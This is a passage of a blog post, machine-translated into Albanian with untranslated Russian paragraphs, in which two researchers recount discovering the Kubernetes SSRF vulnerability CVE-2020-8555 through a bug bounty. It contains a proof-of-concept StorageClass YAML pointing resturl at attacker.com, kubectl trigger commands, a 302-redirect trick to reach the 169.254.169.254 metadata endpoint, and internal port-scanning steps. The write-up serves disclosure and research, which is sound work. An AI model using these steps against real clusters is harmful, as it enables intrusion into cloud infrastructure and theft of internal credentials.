{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Sh\u00ebn. p\u00ebrk.<\/b>: autor\u00ebt e k\u00ebtij artikulli flasin n\u00eb detaje p\u00ebr m\u00ebnyr\u00ebn si arrit\u00ebn t\u00eb zbulojn\u00eb dob\u00ebsin\u00eb <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> n\u00eb Kubernetes. Edhe pse fillimisht dukej e pad\u00ebmshme, n\u00eb kombinim me faktor\u00eb t\u00eb tjer\u00eb, kriticiteti i saj ishte maksimal p\u00ebr disa ofrues t\u00eb sh\u00ebrbimeve n\u00eb re. Specializuar p\u00ebr k\u00ebt\u00eb pun\u00eb, u shp\u00ebrblyen bujsh\u00ebm nga disa organizata.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kush jemi ne<\/h2>\n<p>\nNe jemi dy hulumtues francez\u00eb n\u00eb fush\u00ebn e siguris\u00eb, t\u00eb cil\u00ebt zbuluan bashk\u00eb nj\u00eb dob\u00ebsi n\u00eb Kubernetes. Na quajn\u00eb Brice Augras dhe Christophe Hauquiert, por n\u00eb shum\u00eb platforma t\u00eb Bug Bounty jemi t\u00eb njohur si Reeverzax dhe Hach p\u00ebrkat\u00ebsisht:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 arkitekt i Kubernetes n\u00eb Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>\u00c7far\u00eb ndodhi?<\/h2>\n<p>\nKy artikull \u00ebsht\u00eb m\u00ebnyra jon\u00eb p\u00ebr t\u00eb treguar se si nj\u00eb projekt hulumtues i zakonsh\u00ebm papritur u shnd\u00ebrrua n\u00eb nj\u00eb aventur\u00eb shum\u00eb emocionuese p\u00ebr hajdut\u00ebt e gabimeve (t\u00eb pakt\u00ebn deri tani).<\/p>\n<p>Si\u00e7 e dini, hajdut\u00ebt e gabimeve kan\u00eb disa karakteristika t\u00eb ve\u00e7anta:<\/p>\n<ul>\n<li> ata jetojn\u00eb me pica dhe birr\u00eb;<\/li>\n<li> ata punojn\u00eb kur t\u00eb tjer\u00ebt flen\u00eb.<\/li>\n<\/ul>\n<p>\nNe jemi nj\u00eb p\u00ebrjashtim nga k\u00ebto rregulla: zakonisht takohemi n\u00eb fundjav\u00eb dhe kalojm\u00eb net\u00eb t\u00eb paq\u00ebndrueshme duke hakuar. Por nj\u00eb nga k\u00ebto net\u00eb p\u00ebrfundoi n\u00eb nj\u00eb m\u00ebnyr\u00eb mjaft t\u00eb pazakont\u00eb.<\/p>\n<p>Fillimisht kishim planifikuar t\u00eb takohemi p\u00ebr t\u00eb diskutuar pjes\u00ebmarrjen n\u00eb <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> n\u00eb dit\u00ebn pasuese. Gjat\u00eb bised\u00ebs p\u00ebr sigurin\u00eb e Kubernetes n\u00eb nj\u00eb mjedis sh\u00ebrbimi t\u00eb menaxhuar, na erdh\u00ebn n\u00eb mendje disa ide t\u00eb vjetra p\u00ebr SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) dhe vendos\u00ebm t\u00eb provojm\u00eb ta p\u00ebrdorim at\u00eb si nj\u00eb skenar sulmi.<\/p>\n<p>N\u00eb or\u00ebn 11 t\u00eb mbr\u00ebmjes filluam studimet, dhe u dremit\u00ebm her\u00ebt n\u00eb m\u00ebngjes, mjaft t\u00eb k\u00ebnaqur me rezultatet. Pik\u00ebrisht p\u00ebr shkak t\u00eb k\u00ebtyre hulumtimeve, ne zbuluam programin MSRC Bug Bounty dhe ideuam nj\u00eb eksploatim p\u00ebr rritjen e privilegjeve.<\/p>\n<p>T\u00eb kalonin disa jav\u00eb\/muaj, dhe rezultati yn\u00eb befasues na lejoi t\u00eb fitonim nj\u00eb nga shp\u00ebrblimet m\u00eb t\u00eb larta n\u00eb historin\u00eb e Azure Cloud Bug Bounty \u2014 p\u00ebrve\u00e7 asaj q\u00eb fituam nga Kubernetes!<\/p>\n<p>Nga projekti yn\u00eb hulumtues, komiteti i Siguris\u00eb s\u00eb Produktit t\u00eb Kubernetes publikoi <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Tani, do t\u00eb donim t\u00eb shp\u00ebrndan\u00eb sa m\u00eb shum\u00eb informacion n\u00eb lidhje me nj\u00eb vulnerabilitet t\u00eb gjetur. Shpresojm\u00eb se do ta vler\u00ebsoni k\u00ebt\u00eb zbulim dhe do t\u00eb ndani detaje teknike me an\u00ebtar\u00ebt e tjer\u00eb t\u00eb komunitetit infosec!<\/p>\n<p>Pra, ja historia jon\u00eb...<\/p>\n<h2>Konteksti<\/h2>\n<p>\nP\u00ebr ta shpjeguar sa m\u00eb plot\u00ebsisht se \u00e7far\u00eb ndodhi, le t\u00eb shikojm\u00eb s\u00eb pari se si funksionon Kubernetes n\u00eb nj\u00eb mjedis t\u00eb menaxhuar n\u00eb cloud.<\/p>\n<p>Kur krijoni nj\u00eb instanc\u00eb t\u00eb grupit Kubernetes n\u00eb nj\u00eb mjedis t\u00eb till\u00eb, shtresa menaxhuese zakonisht kujdeset p\u00ebr ofruesi i sh\u00ebrbimeve cloud:<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Shtresa menaxhuese ndodhet n\u00eb periferi t\u00eb ofruesit t\u00eb cloud-it, nd\u00ebrsa nyjat e Kubernetes ndodhen n\u00eb periferi t\u00eb klientit.<\/i><\/p>\n<p>P\u00ebr alokimin dinamik t\u00eb volumit p\u00ebrdoret mekanizmi i ofrimit dinamik nga nj\u00eb backend storage t\u00eb jasht\u00ebm dhe lidhja me PVC (k\u00ebrkesa p\u00ebr volum t\u00eb q\u00ebndruesh\u00ebm).<\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a PVC \u0441\u043e\u0437\u0434\u0430\u043d \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a StorageClass&#8217;\u0443 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435 K8s, \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0442\u043e\u043c\u0430 \u0431\u0435\u0440\u0435\u0442 \u043d\u0430 \u0441\u0435\u0431\u044f kube\/cloud controller manager (\u0435\u0433\u043e \u0442\u043e\u0447\u043d\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0440\u0435\u043b\u0438\u0437\u0430). <i>(<b>Sh\u00ebn. p\u00ebrk.<\/b>: P\u00ebr m\u00eb shum\u00eb mbi CCM-n\u00eb n\u00eb shembullin e implementimit t\u00eb tij p\u00ebr nj\u00eb nga ofruesit e cloud-it, ne kemi shkruar m\u00eb par\u00eb. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">k\u00ebtu<\/a><\/noindex>.)<\/i><\/p>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 provisioner&#8217;\u043e\u0432, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 Kubernetes: \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">n\u00eb thelb t\u00eb orkestratorit<\/a><\/noindex>, \u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 provisioner&#8217;\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 pod&#8217;\u0430\u0445 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435.<\/p>\n<p>N\u00eb hulumtimin ton\u00eb, ne u p\u00ebrqendruam n\u00eb mekanizmin e brendsh\u00ebm t\u00eb ofrimit t\u00eb volumeve, i cili ilustrohet m\u00eb posht\u00eb:<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u043e\u043c\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e provisioner&#8217;\u0430 Kubernetes<\/i><\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u043a\u0440\u0430\u0442\u0446\u0435, \u043a\u043e\u0433\u0434\u0430 Kubernetes \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0437\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 controller manager&#8217;\u0430 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u043d\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0442\u043e\u043c\u0430 (\u043d\u043e\u043c\u0435\u0440 3 \u043d\u0430 \u0441\u0445\u0435\u043c\u0435 \u0432\u044b\u0448\u0435) \u043f\u043e\u043a\u0438\u0434\u0430\u0435\u0442 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430. \u0418 \u0432\u043e\u0442 \u0442\u0443\u0442-\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e-\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439!<\/p>\n<h2>Skenari i thyerjes<\/h2>\n<p>\nN\u00eb k\u00ebt\u00eb seksion, ne do t\u00eb tregojm\u00eb se si shfryt\u00ebzuam procesin e p\u00ebrmendur m\u00eb par\u00eb dhe fituam akses n\u00eb burimet e brendshme t\u00eb ofruesit t\u00eb sh\u00ebrbimeve cloud. P\u00ebr m\u00eb tep\u00ebr, do t\u00eb tregohet m\u00ebnyra se si mund t\u00eb kryhen disa veprime \u2014 p\u00ebr shembull, t\u00eb sigurohen kredencialet e brendshme ose t\u00eb realizohet escalimi i privilegjeve.<\/p>\n<p>Nj\u00eb manipulim i thjesht\u00eb (n\u00eb k\u00ebt\u00eb rast, \u00ebsht\u00eb Service Side Request Forgery) na ndihmoi t\u00eb dalim p\u00ebrtej ambientit t\u00eb klientit n\u00eb klasteret e ndryshme t\u00eb ofruesve t\u00eb sh\u00ebrbimeve q\u00eb menaxhojn\u00eb K8s.<\/p>\n<p>\u0412 \u0441\u0432\u043e\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u043c\u044b \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u043b\u0438\u0441\u044c \u043d\u0430 provisioner&#8217;\u0435 GlusterFS. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u0442\u0430\u043a\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435, \u044d\u0442\u043e\u0439 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b Quobyte, StorageOS \u0438 ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Shfryt\u00ebzimi i mekanizmit t\u00eb dinamik\u00ebs s\u00eb ofrimit t\u00eb volumeve<\/i><\/p>\n<p>Gjat\u00eb analiz\u00ebs s\u00eb klas\u00ebs s\u00eb ruajtjes <b>GlusterFS<\/b> n\u00eb burimet e klientit n\u00eb Golang ne <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">v\u00ebrejt\u00ebm<\/a><\/noindex>, se gjat\u00eb k\u00ebrkes\u00ebs s\u00eb par\u00eb HTTP (3), e d\u00ebrguar gjat\u00eb krijimit t\u00eb volumit, n\u00eb fund t\u00eb URL-s\u00eb s\u00eb p\u00ebrdoruesit n\u00eb parametrin <code>resturl<\/code> shtohet <code>\/volumes<\/code>.<\/p>\n<p>P\u00ebr t\u00eb eliminuar k\u00ebt\u00eb rrug\u00eb shtes\u00eb, vendos\u00ebm t\u00eb shtojm\u00eb <code>#<\/code> n\u00eb parametrin <code>resturl<\/code>. Kjo \u00ebsht\u00eb konfigurimi i par\u00eb YAML q\u00eb ne p\u00ebrdor\u00ebm p\u00ebr t\u00eb kontrolluar prania e vulnerabilitetit \u00abgjysm\u00eb t\u00eb verb\u00ebr\u00bb SSRF <i>(m\u00eb shum\u00eb rreth semi-blind ose half-blind SSRF mund t\u00eb lexoni, p\u00ebr shembull, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">k\u00ebtu<\/a><\/noindex> \u2014 sh\u00ebnim i p\u00ebrkthyesit.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: &quot;http:\/\/attacker.com:6666\/#&quot;\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nM\u00eb pas, p\u00ebr menaxhimin e larg\u00ebt t\u00eb klasterit Kubernetes, u p\u00ebrdor binary-i <b>kubectl<\/b>. N\u00eb p\u00ebrgjith\u00ebsi, ofruesit e cloud (Azure, Google, AWS, etj.) lejojn\u00eb marrjen e kredencialeve p\u00ebr t'i p\u00ebrdorur ato n\u00eb k\u00ebt\u00eb utilit.<\/p>\n<p>Fal\u00eb k\u00ebsaj, u arrit t\u00eb aplikohej skedari \"special\". Kube-controller-manager ekzekutoi k\u00ebrkes\u00ebn rezultante HTTP:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>P\u00ebrgjigjja nga k\u00ebndv\u00ebshtrimi i sulmuesit<\/i><\/p>\n<p>Pak pas k\u00ebsaj, ne gjithashtu arrit\u00ebm t\u00eb merrnim nj\u00eb p\u00ebrgjigje HTTP nga serveri target \u2014 p\u00ebrmes komandave <code>describe pvc<\/code> ose <code>get events<\/code> n\u00eb kubectl. Dhe n\u00eb t\u00eb v\u00ebrtet\u00eb: ky driver Kubernetes me default \u00ebsht\u00eb shum\u00eb i z\u00ebsh\u00ebm n\u00eb paralajm\u00ebrimet e tij\/mesazhet e gabimeve...<\/p>\n<p>Ja nj\u00eb shembull me nj\u00eb lidhje n\u00eb <code>https:\/\/www.google.fr<\/code>, e vendosur si nj\u00eb paramet\u00ebr <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# ose mund t\u00eb p\u00ebrdorni kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nN\u00eb kuad\u00ebr t\u00eb k\u00ebtij qasjeje, ne ishim t\u00eb kufizuar n\u00eb k\u00ebrkesa t\u00eb tipit <b>HTTP POST<\/b> dhe nuk mund\u00ebm t\u00eb merrnim p\u00ebrmbajtjen e trupit t\u00eb p\u00ebrgjigjes, n\u00ebse kodi i kthyer ishte <b>201<\/b>Pra kjo, vendos\u00ebm t\u00eb kryejm\u00eb k\u00ebrkime t\u00eb dodatshme dhe zgjatuam k\u00ebt\u00eb skenar sulmi me qasje t\u00eb reja.<\/p>\n<h2>Evolucioni i k\u00ebrkimeve tona<\/h2>\n<p><\/p>\n<ul>\n<li> Skenari i avancuar nr. 1: p\u00ebrdorimi i redirect 302 nga nj\u00eb server i jasht\u00ebm p\u00ebr t\u00eb ndryshuar metod\u00ebn HTTP, n\u00eb m\u00ebnyr\u00eb q\u00eb t\u00eb kemi nj\u00eb m\u00ebnyr\u00eb m\u00eb fleksib\u00ebl p\u00ebr t\u00eb mbledhur t\u00eb dh\u00ebnat e brendshme.<\/li>\n<li> Skenari i avancuar nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve t\u00eb brendshme.<\/li>\n<li> \u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u21163: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 HTTP CRLF + smuggling (\u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u0431\u0430\u043d\u0434\u044b\u00bb \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432) \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043b\u043e\u0433\u043e\u0432 kube-controller&#8217;\u0430.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Specifikimet teknike<\/h3>\n<p><\/p>\n<ul>\n<li> N\u00eb k\u00ebrkime u p\u00ebrdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 n\u00eb rajonin North Europe.<\/li>\n<li> Skenar\u00ebt e p\u00ebrshkruar m\u00eb sip\u00ebr u ekzekutuan n\u00eb versionet e fundit t\u00eb Kubernetesit p\u00ebrve\u00e7 skenarit t\u00eb tret\u00eb, pasi ai k\u00ebrkonte Kubernetes t\u00eb nd\u00ebrtuar me Golang version \u2264 1.12.<\/li>\n<li> Serveri i jasht\u00ebm i sulmuesit \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Skenari i avancuar nr. 1: redirect i k\u00ebrkes\u00ebs HTTP POST n\u00eb GET dhe marrja e t\u00eb dh\u00ebnave t\u00eb ndjeshme<\/h3>\n<p>\nMetoda origjinale u p\u00ebrmir\u00ebsua nga konfigurimi i serverit t\u00eb sulmuesit p\u00ebr t\u00eb kthyer <b>302 HTTP Retcode<\/b>, p\u00ebr t\u00eb konvertuar k\u00ebrkes\u00ebn POST n\u00eb k\u00ebrkes\u00ebn GET (hapi 4 n\u00eb diagram):<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nK\u00ebrkesa e par\u00eb (3), q\u00eb vjen nga klienti <b>GlusterFS<\/b> (Menaxheri i Kontrollit), ka tipin POST. Duke ndjekur hapat e m\u00ebposht\u00ebm, kemi arritur ta kthejm\u00eb at\u00eb n\u00eb GET:<\/p>\n<ul>\n<li> Si parametrin <code>resturl<\/code> duhet t\u00eb specifikohet n\u00eb StorageClass <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0443\u0441-\u043a\u043e\u0434\u043e\u043c 302 HTTP \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c Location Header&#8217;\u043e\u043c: <code>http:\/\/169.254.169.254<\/code>. Mund t\u00eb jet\u00eb \u00e7do burim tjet\u00ebr i brendsh\u00ebm \u2014 n\u00eb k\u00ebt\u00eb rast, linku i rind\u00ebrtimit p\u00ebrdoret ekskluzivisht si shembull.<\/li>\n<li> N\u00eb m\u00ebnyr\u00eb t\u00eb paracaktuar <b>biblioteka net\/http<\/b> Golang&#8217;\u0430 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u0442 POST \u0432 GET \u0441 302-\u043c \u0441\u0442\u0430\u0442\u0443\u0441-\u043a\u043e\u0434\u043e\u043c, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 GET.<\/li>\n<\/ul>\n<p>\nP\u00ebr t\u00eb lexuar trupin e p\u00ebrgjigjes HTTP, duhet t\u00eb b\u00ebni <code>describe<\/code> objektit PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nKy \u00ebsht\u00eb nj\u00eb shembull i p\u00ebrgjigjes HTTP n\u00eb formatin JSON q\u00eb arrit\u00ebm t\u00eb marrim:<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nKapacitetet e dob\u00ebsis\u00eb s\u00eb gjetur n\u00eb at\u00eb koh\u00eb ishin t\u00eb kufizuara p\u00ebr shkak t\u00eb k\u00ebtyre pikave:<\/p>\n<ul>\n<li> Pamund\u00ebsia p\u00ebr t\u00eb futur headra HTTP n\u00eb k\u00ebrkes\u00ebn q\u00eb del.<\/li>\n<li> Pamund\u00ebsia p\u00ebr t\u00eb kryer nj\u00eb k\u00ebrkes\u00eb POST me parametra n\u00eb trup (kaq e leht\u00eb \u00ebsht\u00eb t\u00eb k\u00ebrkosh vler\u00ebn e \u00e7el\u00ebsit nga nj\u00eb ekzemplar etcd, q\u00eb punon n\u00eb <b>2379<\/b> port, n\u00ebse p\u00ebrdoret HTTP i pacriptuar).<\/li>\n<li> Pamund\u00ebsia p\u00ebr t\u00eb marr\u00eb p\u00ebrmbajtjen e trupit t\u00eb p\u00ebrgjigjes, kur statusi ishte 200 dhe p\u00ebrgjigja nuk kishte JSON Content-Type.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Skenari i avancuar nr. 2: skanimi i rrjetit lokal<\/h3>\n<p>\nKy metod i gjys\u00ebm-verbuar SSRF m\u00eb pas u p\u00ebrdor p\u00ebr skanimin e rrjetit t\u00eb brendsh\u00ebm t\u00eb ofruesit t\u00eb sh\u00ebrbimit cloud dhe p\u00ebr t\u00eb anketuar sh\u00ebrbime t\u00eb ndryshme n\u00eb listen (instanca Metadata, Kubelet, etcd etj.) bazuar n\u00eb p\u00ebrgjigjet e tyre <b>kube controller&#8217;\u0430<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nFillimisht u p\u00ebrcaktuan portet standard t\u00eb komponent\u00ebve Kubernetes (8443, 10250, 10251 etj.), dhe m\u00eb pas duhej t\u00eb automatizohej procesi i skanimit.<\/p>\n<p>\u0412\u0438\u0434\u044f, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 